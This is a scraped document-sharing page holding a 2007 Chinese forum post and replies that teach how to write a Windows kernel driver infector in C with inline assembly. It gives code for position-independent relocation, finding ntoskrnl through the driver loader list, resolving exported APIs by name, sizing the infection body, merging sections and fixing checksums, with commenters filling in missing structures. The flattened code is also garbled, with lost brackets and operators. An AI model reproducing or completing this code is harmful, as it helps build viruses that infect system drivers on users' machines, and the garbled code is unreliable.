




已阅读5页,还剩10页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
标 题: 【原创】驱动感染技术扫盲(C描述)作 者: 老Y时 间: 2007-12-05,19:46链 接: /showthread.php?t=56042驱动感染技术扫盲(C描述)WriterBy老Y上周的上周的.周末有位同学提到过驱动感染问题,而刚好周末也没有地方可去,所以就有了这篇文章的出现.既然是扫盲版,那肯定是没有什么高深的东西了,只是一些奇淫技巧,高手请自动跳过。好了,回归正题,很多年前(其实也就4,5年,拌一下老人,呵呵)玩Ring3下PE感染的时候就用过相关的东西,那么我们来想想,一个标准的PE感染要解决哪几个问题呢?1、重定位问题在汇编里可以很简单的使用下面这种方式来重定位代码或全局数据:Start:calllbl_Nextlbl_Next:popebxsubebx,5subebx,offsetStart要访问全局数据就这样:Moveax,dwordptrebx+GlobalData那么用C语言里怎么重定位呢,呵呵,有人说过在C里不能嵌汇编吗?没有,嘿,那就用汇编,如:/*brief取得全局变量或函数重定位后的地址*paraminpVar全局变量或函数的地址*return返回全局变量或函数的实际地址*/PVOIDKGetGlobalVarAddr(PVOIDpVar)PVOIDpCurAddr=NULL;_asmStart:calllbl_Nextlbl_Next:popeaxsubeax,5subeax,offsetStartaddeax,pVarmovpCurAddr,eaxreturnpCurAddr;访问全局数据就成这样:pData=KGetGlobalVarAddr(&GlobalData);2、引入表问题得到ntoskrnl基址大家都知道DriverEntry函数的第一个参数是一个DriverObject,该参数的结构如下nt!_DRIVER_OBJECT+0x000Type:Int2B+0x002Size:Int2B+0x004DeviceObject:Ptr32_DEVICE_OBJECT+0x008Flags:Uint4B+0x00cDriverStart:Ptr32Void+0x010DriverSize:Uint4B+0x014DriverSection:Ptr32Void+0x018DriverExtension:Ptr32_DRIVER_EXTENSION+0x01cDriverName:_UNICODE_STRING+0x024HardwareDatabase:Ptr32_UNICODE_STRING+0x028FastIoDispatch:Ptr32_FAST_IO_DISPATCH+0x02cDriverInit:Ptr32+0x030DriverStartIo:Ptr32+0x034DriverUnload:Ptr32+0x038MajorFunction:28Ptr32其中DriverSection成员指向LDR_DATA_TABLE_ENTRY结构,如下:+0x000InLoadOrderLinks:_LIST_ENTRY+0x008InMemoryOrderLinks:_LIST_ENTRY+0x010InInitializationOrderLinks:_LIST_ENTRY+0x018DllBase:Ptr32Void+0x01cEntryPoint:Ptr32Void+0x020SizeOfImage:Uint4B+0x024FullDllName:_UNICODE_STRING+0x02cBaseDllName:_UNICODE_STRING+0x034Flags:Uint4B+0x038LoadCount:Uint2B+0x03aTlsIndex:Uint2B+0x03cHashLinks:_LIST_ENTRY+0x03cSectionPointer:Ptr32Void+0x040CheckSum:Uint4B+0x044TimeDateStamp:Uint4B+0x044LoadedImports:Ptr32Void+0x048EntryPointActivationContext:Ptr32Void+0x04cPatchInformation:Ptr32VoidDllBase、SizeOfImage、FullDllName、BaseDllName等等都是好东西呀,呵呵通过遍历这张表得到ntoskrnl的基址和大小,如下/*brief根据驱动模块名返回对应的映像基址和映像大小*paraminpwszModuleName驱动模块名*paraminpulModuleSize返回驱动模块的大小*return返回0表示失败,其它值是驱动模块基址*/ULONGKGetModuleBase(WCHAR*pwszModuleName,ULONG*pulModuleSize)ULONGulModuleBase=0;LIST_ENTRY*Entry=NULL;LDR_DATA_TABLE_ENTRY*DataTableEntry=NULL;PDRIVER_OBJECTDriverObject=KGetGlobalVarAddr(g_pDriverObject);Entry=(LIST_ENTRY*)DriverObject-DriverSection)-Flink;doDataTableEntry=CONTAINING_RECORD(Entry,LDR_DATA_TABLE_ENTRY,InLoadOrderLinks);if(DataTableEntry-EntryPoint&DataTableEntry-BaseDllName.Buffer&DataTableEntry-FullDllName.Buffer&DataTableEntry-LoadCount)if(!KWcsNiCmp(DataTableEntry-BaseDllName.Buffer,pwszModuleName,DataTableEntry-BaseDllName.Length/sizeof(WCHAR)ulModuleBase=DataTableEntry-DllBase;if(pulModuleSize)*pulModuleSize=DataTableEntry-SizeOfImage;gotoExit0;Entry=Entry-Flink;while(Entry!=(LIST_ENTRY*)DriverObject-DriverSection)-Flink);Exit0:returnulModuleBase;(注:也可以用上面的方法来枚举已经加载的驱动列表)通过导出表取得函数地址/*brief根据函数名返回函数对应的RVA地址*paraminpePE对象*paraminName导出表内的函数名*return返回表示失败,其它值是函数的RVA地址*/ULONGKPEGetFuncRVAByName(KPELIB*pe,CHAR*pszFuncName)ULONGFuncRVA=0;ULONG*puFuncNameAddress=0;USHORT*puAddressOfOrd=0;ULONG*puAddressOfFunc=0;ULONGi=0;USHORTIndex=0;PUCHARpFuncName=NULL;ULONGFuncNameRVA=0;PROCESS_ERROR(pe-pExportEntry);puFuncNameAddress=(ULONG*)(pe-pExportEntry-AddressOfNames+pe-pMap);puAddressOfOrd=(USHORT*)(pe-pExportEntry-AddressOfNameOrdinals+pe-pMap);puAddressOfFunc=(ULONG*)(pe-pExportEntry-AddressOfFunctions+pe-pMap);for(i=0;ipExportEntry-NumberOfNames;i+)Index=puAddressOfOrdi;FuncNameRVA=puFuncNameAddressi;pFuncName=(PUCHAR)(pe-pMap+FuncNameRVA);if(KStrCmp(pszFuncName,(CHAR*)pFuncName)=0)FuncRVA=puAddressOfFuncIndex;break;Exit0:returnFuncRVA;/*brief根据内核映像初始一个PE对象*paraminBuffer内核映像基址*paraminuFileSize内核映像大小*paramoutpePE对象*return返回STATUS_SUCCESS时成功,其它值为失败*/intKPEInitFromMem(PUCHARBuffer,ULONGuFileSize,KPELIB*pe)intnResult=STATUS_UNSUCCESSFUL;if(!pe)gotoExit0;pe-pDosHdr=(PIMAGE_DOS_HEADER)Buffer;pe-pNtHdr=(PIMAGE_NT_HEADERS32)(Buffer+pe-pDosHdr-e_lfanew);pe-pSecHdr=(PIMAGE_SECTION_HEADER)(pe-pDosHdr-e_lfanew+pe-pNtHdr-FileHeader.SizeOfOptionalHeader+0x18+Buffer);pe-pExportEntry=(PIMAGE_EXPORT_DIRECTORY)(Buffer+pe-pNtHdr-OptionalHeader.DataDirectory0.VirtualAddress);pe-pImportEntry=(PIMAGE_IMPORT_DESCRIPTOR)(Buffer+pe-pNtHdr-OptionalHeader.DataDirectory1.VirtualAddress);pe-pBaseReloc=(PIMAGE_BASE_RELOCATION)(Buffer+pe-pNtHdr-OptionalHeader.DataDirectory5.VirtualAddress);pe-IsInitSuccessed=TRUE;pe-pMap=Buffer;pe-uMapSize=uFileSize;nResult=STATUS_SUCCESS;Exit0:returnnResult;/*brief根据函数名得到函数的地址,可以理解为GetProcAddress*paraminpwszModuleName驱动模块名*paraminpszFuncName函数名*return返回表示失败,其它值是函数的地址*/ULONGKGetApiAddr(WCHAR*pwszModuleName,CHAR*pszFuncName)intnRetCode=FALSE;ULONGulApiAddr=0;ULONGulNtosBase=0;ULONGulNtosSize=0;KPELIBpe;ulNtosBase=KGetModuleBase(KGetGlobalVarAddr(pwszModuleName),&ulNtosSize);if(!ulNtosBase)gotoExit0;nRetCode=KPEInitFromMem(PUCHAR)ulNtosBase,ulNtosSize,&pe);if(!NT_SUCCESS(nRetCode)gotoExit0;ulApiAddr=KPEGetFuncRVAByName(&pe,KGetGlobalVarAddr(pszFuncName);if(!ulApiAddr)gotoExit0;ulApiAddr+=ulNtosBase;Exit0:returnulApiAddr;使用示例:WCHARg_Ntoskrnl=Lntoskrnl.exe;CHARg_ApiName=NtCreateFile;pFunc=KGetApiAddr(KGetGlobalVar(g_Ntoskrnl),KGetGlobalVar(g_ApiName);其它的不多说了,大家应该对这块是已经熟得不能再熟了_3、感染体大小的取得我的解决方案是:在所有的代码和数据前面放置KGetStartAddr函数/*brief取得当前函数的地址*return返回当前函数的地址*/ULONG_declspec(naked)KGetStartAddr()_asmcalllbl_Nextlbl_Next:popeaxsubeax,5ret在所有的代码和数据前面放置KGetEndAddr函数/*brief取得当前函数末的地址*return返回前函数末的地址*/ULONG_declspec(naked)KGetEndAddr()_asmcalllbl_Nextlbl_Next:popeaxaddeax,5ret感染体大小=KGetEndAddr()-KGetStartAddr()4、把.data节和.text节合并方法:把VC2005的工程属性Linker-Advanced-MergeSections字段改成.data=.text5、重新计算文件CheckSum,对于驱动来说,这个很重要,不重新计算驱动会加载失败从2000源代码里A出来的,具体看源代码6、记不起来了,具体看源代码,自己慢慢调,慢慢蓝,嘿声明:本文的目的不是在教大家怎么写驱动感染病毒,纯粹是一种技术交流,使用本文所演示的技术所造成的一切影响都与本人无关。源代码说明:代码被我删除了一些东西,所以不要问我怎么编译通不过,懂得相关技术的人自然很容易补齐,这也是为了防止有人直接A过去干坏事_:InfectDriver【原创】驱动感染技术扫盲(C描述)【源码】(略有删节).rar/哈哈。LS的给的这个和原代码不匹配。你误解人家的意思了。人家不是不知道PE结构(PE结构在SDK头文件里就有)而是说楼主的代码里自己定义的这个_KPELIB结构没有帖出来。需要自己去完善。偶来个完整的。而且编译通过。代码:typedefstruct_KPELIBPIMAGE_DOS_HEADERpDosHdr;PIMAGE_NT_HEADERS32pNtHdr;PIMAGE_SECTION_HEADERpSecHdr;PIMAGE_EXPORT_DIRECTORYpExportEntry;PIMAGE_IMPORT_DESCRIPTORpImportEntry;PIMAGE_BASE_RELOCATIONpBaseReloc;BOOLEANIsInitSuccessed;PUCHARpMap;ULONGuMapSize;HANDLEhFile;KPELIB,*PKPELIB;/lz很厉害啊没有时间仔细看细节用汇编写个驱动感染的loader就行了主体还是C写的爽VOIDKWcsUpper(WCHAR*Str,ULONGulSize)if(ulSize)ulSize=ulSize/sizeof(WCHAR);while(ulSize)if(*Str=La&*Str=La&*StrpExportEntry);这个是干什么的呢4,最麻烦的ulBodySize=ulEndAddr-(ulDelta+(ULONG)g_wszNtoskrnl);结果怎么是个负值哦,0xffxxxxxx.其中ulDelta打印出来发现是0.回复:PROCESS_ERROR是原作者自己定义的函数.ntoskrnl.exe基本不变.Vista的不晓得了.偶没装VISTAg_pDriverObject是全局变量.最后个自己慢慢调试,慢慢蓝请教g_pDriverObject这个全局变量在哪里赋初值的呢?是DriverEntry的DriverObject吗? 是的!/学习了,原来KGetStartAddr()是忽悠人的编者回复:有时候因为编译器的原因,全局数据并不会存放在KGetStartAddr函数后面,所以可以简单的处理一下,如比较KGetStartAddr()的返回值和最开始的一个全局变量的地址,小的那个就是StartAddr,这点是我的疏忽了,在文章里忘记说了:(/*好文章,这是我读楼主大人代码的一些注释和问题。正式的工程文件正在阅读中,稍后我会贴出我注释过的代码这些注释仅仅代表我的理解,希望可以帮助一些新人*/ULONGKGetModuleBase(WCHAR*pwszModuleName,ULONG*pulModuleSize)/注意驱动程序所使用的数据类型/WCHAR,ULONGULONGulModuleBase=0;LIST_ENTRY*Entry=NULL;LDR_DATA_TABLE_ENTRY*DataTableEntry=NULL;PDRIVER_OBJECTDriverObject=KGetGlobalVarAddr(g_pDriverObject);/获取驱动对象的地址Entry=(LIST_ENTRY*)DriverObject-DriverSection)-Flink;/获取下一个内核模块的LIST_ENTRY结构doDataTableEntry=CONTAINING_RECORD(Entry,/Entry表示查找的目的地址LDR_DATA_TABLE_ENTRY,/LDR_DATA_TABLE_ENTRY表示要查找的结构InLoadOrderLinks);/LDR_DATA_TABLE_ENTRY结构中的第一个成员,很奇怪,真实的用法应该不是这样的if(DataTableEntry-EntryPoint&/如果该模块,有入口点,有基址,有名字,并且被加载DataTableEntry-BaseDllName.Buffer&DataTableEntry-FullDllName.Buffer&DataTableEntry-LoadCount)if(!KWcsNiCmp(/将模块的名字与函数传递进的参数进行比较。KWcsNiCmp()函数有点奇怪,没找到它的相关资料DataTableEntry-BaseDllName.Buffer,pwszModuleName,DataTableEntry-BaseDllName.Length/sizeof(WCHAR)/BaseDllName.Length成员是以字节为单位的)ulModuleBase=DataTableEntry-DllBase;if(pulModuleSize)/如果传递的指针不为NULL*pulModuleSize=DataTableEntry-SizeOfImage;/pulModuleSize指向模块的大小gotoExit0;/找到了目标模块,跳出循环。准备函数返回Entry=Entry-Flink;while(Entry!=(LIST_ENTRY*)DriverObject-DriverSection)-Flink);Exit0:returnulModuleBase;ULONGKPEGetFuncRVAByName(KPELIB*pe,CHAR*pszFuncName)ULONGFuncRVA=0;ULONG*puFuncNameAddress=0;USHORT*puAddressOfOrd=0;ULONG*puAddressOfFunc=0;ULONGi=0;USHORTIndex=0;PUCHARpFuncName=NULL;ULONGFuncNameRVA=0;PROCESS_ERROR(pe-pExportEntry);puFuncNameAddress=(ULONG*)(pe-pExportEntry-AddressOfNames+pe-pMap);puAddressOfOrd=(USHORT*)(pe-pExportEntry-AddressOfNameOrdinals+pe-pMap);puAddressOfFunc=(ULONG*)(pe-pExportEntry-AddressOfFunctions+pe-pMap);for(i=0;ipExportEntry-NumberOfNames;i+)Index=puAddressOfOrdi;FuncNameRVA=puFuncNameAddressi;pFuncName=(PUCHAR)(pe-pMap+FuncNameRVA);if(KStrCmp(pszFuncName,(CHAR*)pFuncName)=0)FuncRVA=puAddressOfFuncIndex;break;Exit0:returnFuncRVA;/*brief根据内核映像初始一个PE对象*paraminBuffer内核映像基址*paraminuFileSize内核映像大小*paramoutpePE对象*return返回STATUS_SUCCESS时成功,其它值为失败*/intKPEInitFromMem(PUCHARBuffer,ULONGuFileSize,KPELIB*pe)intnResult=STATUS_UNSUCCESSFUL;if(!pe)gotoExit0;pe-pDosHdr=(PIMAGE_DOS_HEADER)Buffer;pe-pNtHdr=(PIMAGE_NT_HEADERS32)(Buffer+pe-pDosHdr-e_lfanew);pe-pSecHdr=(PIMAGE_SECTION_HEADER)(pe-pDosHdr-e_lfanew+pe-pNtHdr-FileHeader.SizeOfOptionalHeader+0x18+Buffer);pe-pExportEntry
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2023三年级语文上册 第二单元 6 秋天的雨说课稿 新人教版
- 2024-2025学年高中生物 第5章 素能提升课 光合作用与细胞呼吸的综合说课稿 新人教版必修1
- 难点解析-人教版八年级上册物理光现象《光的反射》综合测试练习题(详解)
- 2024年清远市清新区公益性岗位招聘考试真题
- 低空经济行业2025安全操作规范与人机协同培训体系研究进展报告
- 2025年eVTOL分时租赁在低空经济中的行业竞争与合作策略报告
- 低空经济2025年「森林防火」无人机技术应用与生态修复报告
- 2025年低空经济气候适应性基础设施安全评估与标准制定报告
- 2025年低空智联网航空测绘技术应用与行业前景报告
- Unit 1 Go straight on.教学设计小学英语四年级上册外研版(三起)(陈琳主编)
- 2025年妇产科副高护理答辩题库及答案
- 2025年枣庄滕州市青年就业见习(1540人)考试参考试题及答案解析
- 安全生产管理制度全集
- 江浙皖高中(县中)发展共同体2025-2026学年高三上学期10月联考物理试题(含答案)
- 资阳发展投资集团有限公司第二轮一般员工市场化招聘笔试历年参考题库附带答案详解
- 安徽省c证安全生产模拟考试题库及答案解析
- 心理健康教育课程名词解释大全
- 2025年全国中小学生天文知识竞赛试题库(含答案)
- 2025年大连市(中山区、西岗区、沙河口区、旅顺口区、北黄海经济开发区)总工会面向社会公开招聘社会化工会工作者备考模拟试题及答案解析
- 研究会管理办法
- 2025年时事政治考试100题(含参考答案)
评论
0/150
提交评论